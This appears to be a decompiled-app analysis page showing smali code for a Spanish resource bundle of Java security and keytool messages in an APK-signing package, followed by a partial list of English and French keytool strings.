                                                                              2394const-string v3, "tipo de configuraci\u00f3n"
                                                                              2395aput-object v3, v2, v5
                                                                              2396aput-object v2, v0, v1
                                                                              2397const/16 v1, 0x10a
                                                                              2398new-array v2, v6, [Ljava/lang/Object;
                                                                              2400const-string v3, "environment variable name"
                                                                              2401aput-object v3, v2, v4
                                                                              2403const-string v3, "nombre de variable de entorno"
                                                                              2404aput-object v3, v2, v5
                                                                              2405aput-object v2, v0, v1
                                                                              2406const/16 v1, 0x10b
                                                                              2407new-array v2, v6, [Ljava/lang/Object;
                                                                              2409const-string v3, "library name"
                                                                              2410aput-object v3, v2, v4
                                                                              2412const-string v3, "nombre de la biblioteca"
                                                                              2413aput-object v3, v2, v5
                                                                              2414aput-object v2, v0, v1
                                                                              2415const/16 v1, 0x10c
                                                                              2416new-array v2, v6, [Ljava/lang/Object;
                                                                              2418const-string v3, "package name"
                                                                              2419aput-object v3, v2, v4
                                                                              2421const-string v3, "nombre del paquete"
                                                                              2422aput-object v3, v2, v5
                                                                              2423aput-object v2, v0, v1
                                                                              2424const/16 v1, 0x10d
                                                                              2425new-array v2, v6, [Ljava/lang/Object;
                                                                              2427const-string v3, "policy type"
                                                                              2428aput-object v3, v2, v4
                                                                              2430const-string v3, "tipo de directiva"
                                                                              2431aput-object v3, v2, v5
                                                                              2432aput-object v2, v0, v1
                                                                              2433const/16 v1, 0x10e
                                                                              2434new-array v2, v6, [Ljava/lang/Object;
                                                                              2436const-string v3, "property name"
                                                                              2437aput-object v3, v2, v4
                                                                              2439const-string v3, "nombre de la propiedad"
                                                                              2440aput-object v3, v2, v5
                                                                              2441aput-object v2, v0, v1
                                                                              2442const/16 v1, 0x10f
                                                                              2443new-array v2, v6, [Ljava/lang/Object;
                                                                              2445const-string v3, "provider name"
                                                                              2446aput-object v3, v2, v4
                                                                              2448const-string v3, "nombre del proveedor"
                                                                              2449aput-object v3, v2, v5
                                                                              2450aput-object v2, v0, v1
                                                                              2451const/16 v1, 0x110
                                                                              2452new-array v2, v6, [Ljava/lang/Object;
                                                                              2454const-string v3, "Principal List"
                                                                              2455aput-object v3, v2, v4
                                                                              2457const-string v3, "Lista de principales"
                                                                              2458aput-object v3, v2, v5
                                                                              2459aput-object v2, v0, v1
                                                                              2460const/16 v1, 0x111
                                                                              2461new-array v2, v6, [Ljava/lang/Object;
                                                                              2463const-string v3, "Permission List"
                                                                              2464aput-object v3, v2, v4
                                                                              2466const-string v3, "Lista de permisos"
                                                                              2467aput-object v3, v2, v5
                                                                              2468aput-object v2, v0, v1
                                                                              2469const/16 v1, 0x112
                                                                              2470new-array v2, v6, [Ljava/lang/Object;
                                                                              2472const-string v3, "Code Base"
                                                                              2473aput-object v3, v2, v4
                                                                              2475const-string v3, "Base de c\u00f3digo"
                                                                              2476aput-object v3, v2, v5
                                                                              2477aput-object v2, v0, v1
                                                                              2478const/16 v1, 0x113
                                                                              2479new-array v2, v6, [Ljava/lang/Object;
                                                                              2481const-string v3, "KeyStore U R L:"
                                                                              2482aput-object v3, v2, v4
                                                                              2484const-string v3, "URL de almac\u00e9n de claves:"
                                                                              2485aput-object v3, v2, v5
                                                                              2486aput-object v2, v0, v1
                                                                              2487const/16 v1, 0x114
                                                                              2488new-array v2, v6, [Ljava/lang/Object;
                                                                              2490const-string v3, "KeyStore Password U R L:"
                                                                              2491aput-object v3, v2, v4
                                                                              2493const-string v3, "URL de contrase\u00f1a de almac\u00e9n de claves:"
                                                                              2494aput-object v3, v2, v5
                                                                              2495aput-object v2, v0, v1
                                                                              2496const/16 v1, 0x115
                                                                              2497new-array v2, v6, [Ljava/lang/Object;
                                                                              2499const-string v3, "invalid null input(s)"
                                                                              2500aput-object v3, v2, v4
                                                                              2502const-string v3, "entradas nulas no v\u00e1lidas"
                                                                              2503aput-object v3, v2, v5
                                                                              2504aput-object v2, v0, v1
                                                                              2505const/16 v1, 0x116
                                                                              2506new-array v2, v6, [Ljava/lang/Object;
                                                                              2508const-string v3, "actions can only be \'read\'"
                                                                              2509aput-object v3, v2, v4
                                                                              2511const-string v3, "las acciones s\u00f3lo pueden \'leerse\'"
                                                                              2512aput-object v3, v2, v5
                                                                              2513aput-object v2, v0, v1
                                                                              2514const/16 v1, 0x117
                                                                              2515new-array v2, v6, [Ljava/lang/Object;
                                                                              2517const-string v3, "permission name [name] syntax invalid: "
                                                                              2518aput-object v3, v2, v4
                                                                              2520const-string v3, "sintaxis de nombre de permiso [{0}] no v\u00e1lida: "
                                                                              2521aput-object v3, v2, v5
                                                                              2522aput-object v2, v0, v1
                                                                              2523const/16 v1, 0x118
                                                                              2524new-array v2, v6, [Ljava/lang/Object;
                                                                              2526const-string v3, "Credential Class not followed by a Principal Class and Name"
                                                                              2527aput-object v3, v2, v4
                                                                              2529const-string v3, "Clase de credencial no va seguida de una clase y nombre de principal"
                                                                              2530aput-object v3, v2, v5
                                                                              2531aput-object v2, v0, v1
                                                                              2532const/16 v1, 0x119
                                                                              2533new-array v2, v6, [Ljava/lang/Object;
                                                                              2535const-string v3, "Principal Class not followed by a Principal Name"
                                                                              2536aput-object v3, v2, v4
                                                                              2538const-string v3, "La clase de principal no va seguida de un nombre de principal"
                                                                              2539aput-object v3, v2, v5
                                                                              2540aput-object v2, v0, v1
                                                                              2541const/16 v1, 0x11a
                                                                              2542new-array v2, v6, [Ljava/lang/Object;
                                                                              2544const-string v3, "Principal Name must be surrounded by quotes"
                                                                              2545aput-object v3, v2, v4
                                                                              2547const-string v3, "El nombre de principal debe ir entre comillas"
                                                                              2548aput-object v3, v2, v5
                                                                              2549aput-object v2, v0, v1
                                                                              2550const/16 v1, 0x11b
                                                                              2551new-array v2, v6, [Ljava/lang/Object;
                                                                              2553const-string v3, "Principal Name missing end quote"
                                                                              2554aput-object v3, v2, v4
                                                                              2556const-string v3, "Faltan las comillas finales en el nombre de principal"
                                                                              2557aput-object v3, v2, v5
                                                                              2558aput-object v2, v0, v1
                                                                              2559const/16 v1, 0x11c
                                                                              2560new-array v2, v6, [Ljava/lang/Object;
                                                                              2562const-string v3, "PrivateCredentialPermission Principal Class can not be a wildcard (*) value if Principal Name is not a wildcard (*) value"
                                                                              2563aput-object v3, v2, v4
                                                                              2565const-string v3, "La clase de principal PrivateCredentialPermission no puede ser un valor comod\u00edn (*) si el nombre de principal no lo es tambi\u00e9n"
                                                                              2566aput-object v3, v2, v5
                                                                              2567aput-object v2, v0, v1
                                                                              2568const/16 v1, 0x11d
                                                                              2569new-array v2, v6, [Ljava/lang/Object;
                                                                              2571const-string v3, "CredOwner:\n\tPrincipal Class = class\n\tPrincipal Name = name"
                                                                              2572aput-object v3, v2, v4
                                                                              2574const-string v3, "CredOwner:\n\tClase de principal = {0}\n\tNombre de principal = {1}"
                                                                              2575aput-object v3, v2, v5
                                                                              2576aput-object v2, v0, v1
                                                                              2577const/16 v1, 0x11e
                                                                              2578new-array v2, v6, [Ljava/lang/Object;
                                                                              2580const-string v3, "provided null name"
                                                                              2581aput-object v3, v2, v4
                                                                              2583const-string v3, "se ha proporcionado un nombre nulo"
                                                                              2584aput-object v3, v2, v5
                                                                              2585aput-object v2, v0, v1
                                                                              2586const/16 v1, 0x11f
                                                                              2587new-array v2, v6, [Ljava/lang/Object;
                                                                              2589const-string v3, "provided null keyword map"
                                                                              2590aput-object v3, v2, v4
                                                                              2592const-string v3, "mapa de palabras proporcionado nulo"
                                                                              2593aput-object v3, v2, v5
                                                                              2594aput-object v2, v0, v1
                                                                              2595const/16 v1, 0x120
                                                                              2596new-array v2, v6, [Ljava/lang/Object;
                                                                              2598const-string v3, "provided null OID map"
                                                                              2599aput-object v3, v2, v4
                                                                              2601const-string v3, "mapa de OID proporcionado nulo"
                                                                              2602aput-object v3, v2, v5
                                                                              2603aput-object v2, v0, v1
                                                                              2604const/16 v1, 0x121
                                                                              2605new-array v2, v6, [Ljava/lang/Object;
                                                                              2607const-string v3, "invalid null AccessControlContext provided"
                                                                              2608aput-object v3, v2, v4
                                                                              2610const-string v3, "se ha proporcionado un AccessControlContext nulo no v\u00e1lido"
                                                                              2611aput-object v3, v2, v5
                                                                              2612aput-object v2, v0, v1
                                                                              2613const/16 v1, 0x122
                                                                              2614new-array v2, v6, [Ljava/lang/Object;
                                                                              2616const-string v3, "invalid null action provided"
                                                                              2617aput-object v3, v2, v4
                                                                              2619const-string v3, "se ha proporcionado una acci\u00f3n nula no v\u00e1lida"
                                                                              2620aput-object v3, v2, v5
                                                                              2621aput-object v2, v0, v1
                                                                              2622const/16 v1, 0x123
                                                                              2623new-array v2, v6, [Ljava/lang/Object;
                                                                              2625const-string v3, "invalid null Class provided"
                                                                              2626aput-object v3, v2, v4
                                                                              2628const-string v3, "se ha proporcionado una clase nula no v\u00e1lida"
                                                                              2629aput-object v3, v2, v5
                                                                              2630aput-object v2, v0, v1
                                                                              2631const/16 v1, 0x124
                                                                              2632new-array v2, v6, [Ljava/lang/Object;
                                                                              2634const-string v3, "Subject:\n"
                                                                              2635aput-object v3, v2, v4
                                                                              2637const-string v3, "Asunto:\n"
                                                                              2638aput-object v3, v2, v5
                                                                              2639aput-object v2, v0, v1
                                                                              2640const/16 v1, 0x125
                                                                              2641new-array v2, v6, [Ljava/lang/Object;
                                                                              2643const-string v3, "\tPrincipal: "
                                                                              2644aput-object v3, v2, v4
                                                                              2646const-string v3, "\tPrincipal: "
                                                                              2647aput-object v3, v2, v5
                                                                              2648aput-object v2, v0, v1
                                                                              2649const/16 v1, 0x126
                                                                              2650new-array v2, v6, [Ljava/lang/Object;
                                                                              2652const-string v3, "\tPublic Credential: "
                                                                              2653aput-object v3, v2, v4
                                                                              2655const-string v3, "\tCredencial p\u00fablica: "
                                                                              2656aput-object v3, v2, v5
                                                                              2657aput-object v2, v0, v1
                                                                              2658const/16 v1, 0x127
                                                                              2659new-array v2, v6, [Ljava/lang/Object;
                                                                              2661const-string v3, "\tPrivate Credentials inaccessible\n"
                                                                              2662aput-object v3, v2, v4
                                                                              2664const-string v3, "\tCredenciales privadas inaccesibles\n"
                                                                              2665aput-object v3, v2, v5
                                                                              2666aput-object v2, v0, v1
                                                                              2667const/16 v1, 0x128
                                                                              2668new-array v2, v6, [Ljava/lang/Object;
                                                                              2670const-string v3, "\tPrivate Credential: "
                                                                              2671aput-object v3, v2, v4
                                                                              2673const-string v3, "\tCredencial privada: "
                                                                              2674aput-object v3, v2, v5
                                                                              2675aput-object v2, v0, v1
                                                                              2676const/16 v1, 0x129
                                                                              2677new-array v2, v6, [Ljava/lang/Object;
                                                                              2679const-string v3, "\tPrivate Credential inaccessible\n"
                                                                              2680aput-object v3, v2, v4
                                                                              2682const-string v3, "\tCredencial privada inaccesible\n"
                                                                              2683aput-object v3, v2, v5
                                                                              2684aput-object v2, v0, v1
                                                                              2685const/16 v1, 0x12a
                                                                              2686new-array v2, v6, [Ljava/lang/Object;
                                                                              2688const-string v3, "Subject is read-only"
                                                                              2689aput-object v3, v2, v4
                                                                              2691const-string v3, "El asunto es de s\u00f3lo lectura"
                                                                              2692aput-object v3, v2, v5
                                                                              2693aput-object v2, v0, v1
                                                                              2694const/16 v1, 0x12b
                                                                              2695new-array v2, v6, [Ljava/lang/Object;
                                                                              2697const-string v3, "attempting to add an object which is not an instance of java.security.Principal to a Subject\'s Principal Set"
                                                                              2698aput-object v3, v2, v4
                                                                              2700const-string v3, "intentando agregar un objeto que no es un ejemplar de java.security.Principal al conjunto principal de un asunto"
                                                                              2701aput-object v3, v2, v5
                                                                              2702aput-object v2, v0, v1
                                                                              2703const/16 v1, 0x12c
                                                                              2704new-array v2, v6, [Ljava/lang/Object;
                                                                              2706const-string v3, "attempting to add an object which is not an instance of class"
                                                                              2707aput-object v3, v2, v4
                                                                              2709const-string v3, "intentando agregar un objeto que no es un ejemplar de {0}"
                                                                              2710aput-object v3, v2, v5
                                                                              2711aput-object v2, v0, v1
                                                                              2712const/16 v1, 0x12d
                                                                              2713new-array v2, v6, [Ljava/lang/Object;
                                                                              2715const-string v3, "LoginModuleControlFlag: "
                                                                              2716aput-object v3, v2, v4
                                                                              2718const-string v3, "LoginModuleControlFlag: "
                                                                              2719aput-object v3, v2, v5
                                                                              2720aput-object v2, v0, v1
                                                                              2721const/16 v1, 0x12e
                                                                              2722new-array v2, v6, [Ljava/lang/Object;
                                                                              2724const-string v3, "Invalid null input: name"
                                                                              2725aput-object v3, v2, v4
                                                                              2727const-string v3, "Entrada nula no v\u00e1lida: nombre"
                                                                              2728aput-object v3, v2, v5
                                                                              2729aput-object v2, v0, v1
                                                                              2730const/16 v1, 0x12f
                                                                              2731new-array v2, v6, [Ljava/lang/Object;
                                                                              2733const-string v3, "No LoginModules configured for name"
                                                                              2734aput-object v3, v2, v4
                                                                              2736const-string v3, "No se han configurado LoginModules para {0}"
                                                                              2737aput-object v3, v2, v5
                                                                              2738aput-object v2, v0, v1
                                                                              2739const/16 v1, 0x130
                                                                              2740new-array v2, v6, [Ljava/lang/Object;
                                                                              2742const-string v3, "invalid null Subject provided"
                                                                              2743aput-object v3, v2, v4
                                                                              2745const-string v3, "se ha proporcionado un asunto nulo no v\u00e1lido"
                                                                              2746aput-object v3, v2, v5
                                                                              2747aput-object v2, v0, v1
                                                                              2748const/16 v1, 0x131
                                                                              2749new-array v2, v6, [Ljava/lang/Object;
                                                                              2751const-string v3, "invalid null CallbackHandler provided"
                                                                              2752aput-object v3, v2, v4
                                                                              2754const-string v3, "se ha proporcionado CallbackHandler nulo no v\u00e1lido"
                                                                              2755aput-object v3, v2, v5
                                                                              2756aput-object v2, v0, v1
                                                                              2757const/16 v1, 0x132
                                                                              2758new-array v2, v6, [Ljava/lang/Object;
                                                                              2760const-string v3, "null subject - logout called before login"
                                                                              2761aput-object v3, v2, v4
                                                                              2763const-string v3, "asunto nulo - se ha llamado a fin de sesi\u00f3n antes del inicio de sesi\u00f3n"
                                                                              2764aput-object v3, v2, v5
                                                                              2765aput-object v2, v0, v1
                                                                              2766const/16 v1, 0x133
                                                                              2767new-array v2, v6, [Ljava/lang/Object;
                                                                              2769const-string v3, "unable to instantiate LoginModule, module, because it does not provide a no-argument constructor"
                                                                              2770aput-object v3, v2, v4
                                                                              2772const-string v3, "no se puede lanzar un ejemplar de LoginModule, {0}, porque no incluye un constructor no-argumento"
                                                                              2773aput-object v3, v2, v5
                                                                              2774aput-object v2, v0, v1
                                                                              2775const/16 v1, 0x134
                                                                              2776new-array v2, v6, [Ljava/lang/Object;
                                                                              2778const-string v3, "unable to instantiate LoginModule"
                                                                              2779aput-object v3, v2, v4
                                                                              2781const-string v3, "no se puede lanzar un ejemplar de LoginModule"
                                                                              2782aput-object v3, v2, v5
                                                                              2783aput-object v2, v0, v1
                                                                              2784const/16 v1, 0x135
                                                                              2785new-array v2, v6, [Ljava/lang/Object;
                                                                              2787const-string v3, "unable to instantiate LoginModule: "
                                                                              2788aput-object v3, v2, v4
                                                                              2790const-string v3, "no se puede instanciar LoginModule: "
                                                                              2791aput-object v3, v2, v5
                                                                              2792aput-object v2, v0, v1
                                                                              2793const/16 v1, 0x136
                                                                              2794new-array v2, v6, [Ljava/lang/Object;
                                                                              2796const-string v3, "unable to find LoginModule class: "
                                                                              2797aput-object v3, v2, v4
                                                                              2799const-string v3, "no se puede encontrar la clase LoginModule: "
                                                                              2800aput-object v3, v2, v5
                                                                              2801aput-object v2, v0, v1
                                                                              2802const/16 v1, 0x137
                                                                              2803new-array v2, v6, [Ljava/lang/Object;
                                                                              2805const-string v3, "unable to access LoginModule: "
                                                                              2806aput-object v3, v2, v4
                                                                              2808const-string v3, "no se puede acceder a LoginModule: "
                                                                              2809aput-object v3, v2, v5
                                                                              2810aput-object v2, v0, v1
                                                                              2811const/16 v1, 0x138
                                                                              2812new-array v2, v6, [Ljava/lang/Object;
                                                                              2814const-string v3, "Login Failure: all modules ignored"
                                                                              2815aput-object v3, v2, v4
                                                                              2817const-string v3, "Fallo en inicio de sesi\u00f3n: se ha hecho caso omiso de todos los m\u00f3dulos"
                                                                              2818aput-object v3, v2, v5
                                                                              2819aput-object v2, v0, v1
                                                                              2820const/16 v1, 0x139
                                                                              2821new-array v2, v6, [Ljava/lang/Object;
                                                                              2823const-string v3, "java.security.policy: error parsing policy:\n\tmessage"
                                                                              2824aput-object v3, v2, v4
                                                                              2826const-string v3, "java.security.policy: error de an\u00e1lisis de {0}:\n\t{1}"
                                                                              2827aput-object v3, v2, v5
                                                                              2828aput-object v2, v0, v1
                                                                              2829const/16 v1, 0x13a
                                                                              2830new-array v2, v6, [Ljava/lang/Object;
                                                                              2832const-string v3, "java.security.policy: error adding Permission, perm:\n\tmessage"
                                                                              2833aput-object v3, v2, v4
                                                                              2835const-string v3, "java.security.policy: error al agregar Permiso, {0}:\n\t{1}"
                                                                              2836aput-object v3, v2, v5
                                                                              2837aput-object v2, v0, v1
                                                                              2838const/16 v1, 0x13b
                                                                              2839new-array v2, v6, [Ljava/lang/Object;
                                                                              2841const-string v3, "java.security.policy: error adding Entry:\n\tmessage"
                                                                              2842aput-object v3, v2, v4
                                                                              2844const-string v3, "java.security.policy: error al agregar Entrada:\n\t{0}"
                                                                              2845aput-object v3, v2, v5
                                                                              2846aput-object v2, v0, v1
                                                                              2847const/16 v1, 0x13c
                                                                              2848new-array v2, v6, [Ljava/lang/Object;
                                                                              2850const-string v3, "alias name not provided (pe.name)"
                                                                              2851aput-object v3, v2, v4
                                                                              2853const-string v3, "no se ha proporcionado nombre de alias ({0})"
                                                                              2854aput-object v3, v2, v5
                                                                              2855aput-object v2, v0, v1
                                                                              2856const/16 v1, 0x13d
                                                                              2857new-array v2, v6, [Ljava/lang/Object;
                                                                              2859const-string v3, "unable to perform substitution on alias, suffix"
                                                                              2860aput-object v3, v2, v4
                                                                              2862const-string v3, "no se puede realizar la sustituci\u00f3n en el alias, {0}"
                                                                              2863aput-object v3, v2, v5
                                                                              2864aput-object v2, v0, v1
                                                                              2865const/16 v1, 0x13e
                                                                              2866new-array v2, v6, [Ljava/lang/Object;
                                                                              2868const-string v3, "substitution value, prefix, unsupported"
                                                                              2869aput-object v3, v2, v4
                                                                              2871const-string v3, "valor de sustituci\u00f3n, {0}, no soportado"
                                                                              2872aput-object v3, v2, v5
                                                                              2873aput-object v2, v0, v1
                                                                              2874const/16 v1, 0x13f
                                                                              2875new-array v2, v6, [Ljava/lang/Object;
                                                                              2877const-string v3, "("
                                                                              2878aput-object v3, v2, v4
                                                                              2880const-string v3, "("
                                                                              2881aput-object v3, v2, v5
                                                                              2882aput-object v2, v0, v1
                                                                              2883const/16 v1, 0x140
                                                                              2884new-array v2, v6, [Ljava/lang/Object;
                                                                              2886const-string v3, ")"
                                                                              2887aput-object v3, v2, v4
                                                                              2889const-string v3, ")"
                                                                              2890aput-object v3, v2, v5
                                                                              2891aput-object v2, v0, v1
                                                                              2892const/16 v1, 0x141
                                                                              2893new-array v2, v6, [Ljava/lang/Object;
                                                                              2895const-string v3, "type can\'t be null"
                                                                              2896aput-object v3, v2, v4
                                                                              2898const-string v3, "el tipo no puede ser nulo"
                                                                              2899aput-object v3, v2, v5
                                                                              2900aput-object v2, v0, v1
                                                                              2901const/16 v1, 0x142
                                                                              2902new-array v2, v6, [Ljava/lang/Object;
                                                                              2904const-string v3, "keystorePasswordURL can not be specified without also specifying keystore"
                                                                              2905aput-object v3, v2, v4
                                                                              2907const-string v3, "keystorePasswordURL no puede especificarse sin especificar tambi\u00e9n el almac\u00e9n de claves"
                                                                              2908aput-object v3, v2, v5
                                                                              2909aput-object v2, v0, v1
                                                                              2910const/16 v1, 0x143
                                                                              2911new-array v2, v6, [Ljava/lang/Object;
                                                                              2913const-string v3, "expected keystore type"
                                                                              2914aput-object v3, v2, v4
                                                                              2916const-string v3, "se esperaba un tipo de almac\u00e9n de claves"
                                                                              2917aput-object v3, v2, v5
                                                                              2918aput-object v2, v0, v1
                                                                              2919const/16 v1, 0x144
                                                                              2920new-array v2, v6, [Ljava/lang/Object;
                                                                              2922const-string v3, "expected keystore provider"
                                                                              2923aput-object v3, v2, v4
                                                                              2925const-string v3, "se esperaba un proveedor de almac\u00e9n de claves"
                                                                              2926aput-object v3, v2, v5
                                                                              2927aput-object v2, v0, v1
                                                                              2928const/16 v1, 0x145
                                                                              2929new-array v2, v6, [Ljava/lang/Object;
                                                                              2931const-string v3, "multiple Codebase expressions"
                                                                              2932aput-object v3, v2, v4
                                                                              2934const-string v3, "expresiones m\u00faltiples de base de c\u00f3digos"
                                                                              2935aput-object v3, v2, v5
                                                                              2936aput-object v2, v0, v1
                                                                              2937const/16 v1, 0x146
                                                                              2938new-array v2, v6, [Ljava/lang/Object;
                                                                              2940const-string v3, "multiple SignedBy expressions"
                                                                              2941aput-object v3, v2, v4
                                                                              2943const-string v3, "expresiones m\u00faltiples de SignedBy"
                                                                              2944aput-object v3, v2, v5
                                                                              2945aput-object v2, v0, v1
                                                                              2946const/16 v1, 0x147
                                                                              2947new-array v2, v6, [Ljava/lang/Object;
                                                                              2949const-string v3, "SignedBy has empty alias"
                                                                              2950aput-object v3, v2, v4
                                                                              2952const-string v3, "SignedBy tiene un alias vac\u00edo"
                                                                              2953aput-object v3, v2, v5
                                                                              2954aput-object v2, v0, v1
                                                                              2955const/16 v1, 0x148
                                                                              2956new-array v2, v6, [Ljava/lang/Object;
                                                                              2958const-string v3, "can not specify Principal with a wildcard class without a wildcard name"
                                                                              2959aput-object v3, v2, v4
                                                                              2961const-string v3, "no se puede especificar Principal con una clase de comod\u00edn sin un nombre de comod\u00edn"
                                                                              2962aput-object v3, v2, v5
                                                                              2963aput-object v2, v0, v1
                                                                              2964const/16 v1, 0x149
                                                                              2965new-array v2, v6, [Ljava/lang/Object;
                                                                              2967const-string v3, "expected codeBase or SignedBy or Principal"
                                                                              2968aput-object v3, v2, v4
                                                                              2970const-string v3, "se esperaba base de c\u00f3digos o SignedBy o Principal"
                                                                              2971aput-object v3, v2, v5
                                                                              2972aput-object v2, v0, v1
                                                                              2973const/16 v1, 0x14a
                                                                              2974new-array v2, v6, [Ljava/lang/Object;
                                                                              2976const-string v3, "expected permission entry"
                                                                              2977aput-object v3, v2, v4
                                                                              2979const-string v3, "se esperaba un permiso de entrada"
                                                                              2980aput-object v3, v2, v5
                                                                              2981aput-object v2, v0, v1
                                                                              2982const/16 v1, 0x14b
                                                                              2983new-array v2, v6, [Ljava/lang/Object;
                                                                              2985const-string v3, "number "
                                                                              2986aput-object v3, v2, v4
                                                                              2988const-string v3, "n\u00famero "
                                                                              2989aput-object v3, v2, v5
                                                                              2990aput-object v2, v0, v1
                                                                              2991const/16 v1, 0x14c
                                                                              2992new-array v2, v6, [Ljava/lang/Object;
                                                                              2994const-string v3, "expected [expect], read [end of file]"
                                                                              2995aput-object v3, v2, v4
                                                                              2997const-string v3, "se esperaba [{0}], se ha le\u00eddo [end of file]"
                                                                              2998aput-object v3, v2, v5
                                                                              2999aput-object v2, v0, v1
                                                                              3000const/16 v1, 0x14d
                                                                              3001new-array v2, v6, [Ljava/lang/Object;
                                                                              3003const-string v3, "expected [;], read [end of file]"
                                                                              3004aput-object v3, v2, v4
                                                                              3006const-string v3, "se esperaba [;], se ha le\u00eddo [end of file]"
                                                                              3007aput-object v3, v2, v5
                                                                              3008aput-object v2, v0, v1
                                                                              3009const/16 v1, 0x14e
                                                                              3010new-array v2, v6, [Ljava/lang/Object;
                                                                              3012const-string v3, "line number: msg"
                                                                              3013aput-object v3, v2, v4
                                                                              3015const-string v3, "l\u00ednea {0}: {1}"
                                                                              3016aput-object v3, v2, v5
                                                                              3017aput-object v2, v0, v1
                                                                              3018const/16 v1, 0x14f
                                                                              3019new-array v2, v6, [Ljava/lang/Object;
                                                                              3021const-string v3, "line number: expected [expect], found [actual]"
                                                                              3022aput-object v3, v2, v4
                                                                              3024const-string v3, "l\u00ednea {0}: se esperaba [{1}], se ha encontrado [{2}]"
                                                                              3025aput-object v3, v2, v5
                                                                              3026aput-object v2, v0, v1
                                                                              3027const/16 v1, 0x150
                                                                              3028new-array v2, v6, [Ljava/lang/Object;
                                                                              3030const-string v3, "null principalClass or principalName"
                                                                              3031aput-object v3, v2, v4
                                                                              3033const-string v3, "principalClass o principalName nulos"
                                                                              3034aput-object v3, v2, v5
                                                                              3035aput-object v2, v0, v1
                                                                              3036const/16 v1, 0x151
                                                                              3037new-array v2, v6, [Ljava/lang/Object;
                                                                              3039const-string v3, "PKCS11 Token [providerName] Password: "
                                                                              3040aput-object v3, v2, v4
                                                                              3042const-string v3, "Contrase\u00f1a de la tarjeta de claves PKCS11 [{0}]: "
                                                                              3043aput-object v3, v2, v5
                                                                              3044aput-object v2, v0, v1
                                                                              3045const/16 v1, 0x152
                                                                              3046new-array v2, v6, [Ljava/lang/Object;
                                                                              3048const-string v3, "unable to instantiate Subject-based policy"
                                                                              3049aput-object v3, v2, v4
                                                                              3051const-string v3, "no se puede instanciar una directiva basada en Subject"
                                                                              3052aput-object v3, v2, v5
                                                                              3053aput-object v2, v0, v1
                                                                              3054sput-object v0, Lcom/android/leech/patch/apksigner/sun/security/util/Resources_es;->contents:[[Ljava/lang/Object;
                                                                              3055return-void
                                                                              APIs
                                                                              Strings
                                                                              • ,
                                                                              • \n
                                                                              • *******************************************
                                                                              • *******************************************\n\n
                                                                              • keytool error:
                                                                              • erreur keytool :
                                                                              • Illegal option:
                                                                              • Option non valide :
                                                                              • Try keytool -help
                                                                              • Essayez keytool -help
                                                                              • Command option <flag> needs an argument.
                                                                              • L\'option de commande {0} requiert un argument.
                                                                              • Warning: Different store and key passwords not supported for PKCS12 KeyStores. Ignoring user-specified <command> value.
                                                                              • Avertissement\u00a0: Les mots de passe store et key distincts ne sont pas pris en charge pour les keystores PKCS12. La valeur {0} sp\u00e9cifi\u00e9e par l\'utilisateur est ignor\u00e9e.
                                                                              • -keystore must be NONE if -storetype is {0}
                                                                              • -keystore doit \u00eatre d\u00e9fini sur NONE si -storetype est {0}
                                                                              • Too may retries, program terminated
                                                                              • Trop de tentatives, fin du programme
                                                                              • -storepasswd and -keypasswd commands not supported if -storetype is {0}
                                                                              • Les commandes -storepasswd et -keypasswd ne sont pas prises en charge si -storetype est d\u00e9fini sur {0}
                                                                              • -keypasswd commands not supported if -storetype is PKCS12
                                                                              • Les commandes -keypasswd ne sont pas prises en charge si -storetype est d\u00e9fini sur PKCS12
                                                                              • -keypass and -new can not be specified if -storetype is {0}
                                                                              • Les commandes -keypass et -new ne peuvent pas \u00eatre sp\u00e9cifi\u00e9es si -storetype est d\u00e9fini sur {0}
                                                                              • if -protected is specified, then -storepass, -keypass, and -new must not be specified
                                                                              • si -protected est sp\u00e9cifi\u00e9, alors -storepass, -keypass et -new ne doivent pas \u00eatre sp\u00e9cifi\u00e9s
                                                                              • if -srcprotected is specified, then -srcstorepass and -srckeypass must not be specified
                                                                              • Si \u0096srcprotected est sp\u00e9cifi\u00e9, alors -srcstorepass et \u0096srckeypass ne doivent pas \u00eatre sp\u00e9cifi\u00e9s
                                                                              • if keystore is not password protected, then -storepass, -keypass, and -new must not be specified
                                                                              • Si le keystore n\'est pas prot\u00e9g\u00e9 par un mot de passe, les commandes -storepass, -keypass et -new ne doivent pas \u00eatre sp\u00e9cifi\u00e9es
                                                                              • if source keystore is not password protected, then -srcstorepass and -srckeypass must not be specified
                                                                              • Si le keystore source n\'est pas prot\u00e9g\u00e9 par un mot de passe, les commandes -srcstorepass et -srckeypass ne doivent pas \u00eatre sp\u00e9cifi\u00e9es
                                                                              • Validity must be greater than zero
                                                                              • La validit\u00e9 doit \u00eatre sup\u00e9rieure \u00e0 z\u00e9ro
                                                                              • provName not a provider
                                                                              • {0} n\'\'est pas un fournisseur
                                                                              • Usage error: no command provided
                                                                              • Erreur d\'utilisation\u00a0: aucune commande fournie
                                                                              • Usage error, <arg> is not a legal command
                                                                              • Erreur d\'utilisation, {0} n\'est pas une commande valide
                                                                              • Source keystore file exists, but is empty:
                                                                              • Le fichier du keystore source existe, mais il est vide\u00a0:
                                                                              • Please specify -srckeystore
                                                                              • veuillez sp\u00e9cifier -srckeystore
                                                                              • Must not specify both -v and -rfc with \'list\' command
                                                                              • -v et -rfc ne peuvent \u00eatre sp\u00e9cifi\u00e9s simultan\u00e9ment avec la commande \'list\'
                                                                              • Key password must be at least 6 characters
                                                                              • Un mot de passe de cl\u00e9 doit comporter au moins 6 caract\u00e8res
                                                                              • New password must be at least 6 characters
                                                                              • Le nouveau mot de passe doit comporter au moins 6 caract\u00e8res
                                                                              • Keystore file exists, but is empty:
                                                                              • Fichier Keystore existant mais vide :
                                                                              • Keystore file does not exist:
                                                                              • Fichier Keystore introuvable :
                                                                              • Must specify destination alias
                                                                              • L\'alias de destination doit \u00eatre sp\u00e9cifi\u00e9
                                                                              • Must specify alias
                                                                              • Vous devez sp\u00e9cifier un alias
                                                                              • Keystore password must be at least 6 characters
                                                                              • Un mot de passe de Keystore doit comporter au moins 6 caract\u00e8res
                                                                              • Enter keystore password:
                                                                              • Tapez le mot de passe du Keystore :
                                                                              • Enter source keystore password:
                                                                              • Saisissez le mot de passe du keystore source\u00a0:
                                                                              • Enter destination keystore password:
                                                                              • Saisissez le mot de passe du keystore de destination\u00a0:
                                                                              • Keystore password is too short - must be at least 6 characters
                                                                              • Mot de passe de Keystore trop court, il doit compter au moins 6 caract\u00e8res
                                                                              • Unknown Entry Type
                                                                              • Type d\'entr\u00e9e inconnu
                                                                              • Too many failures. Alias not changed
                                                                              • Trop d\'erreurs. Alias non modifi\u00e9
                                                                              • Entry for alias <alias> successfully imported.
                                                                              • L\'entr\u00e9e de l\'alias {0} a \u00e9t\u00e9 import\u00e9e.
                                                                              • Entry for alias <alias> not imported.
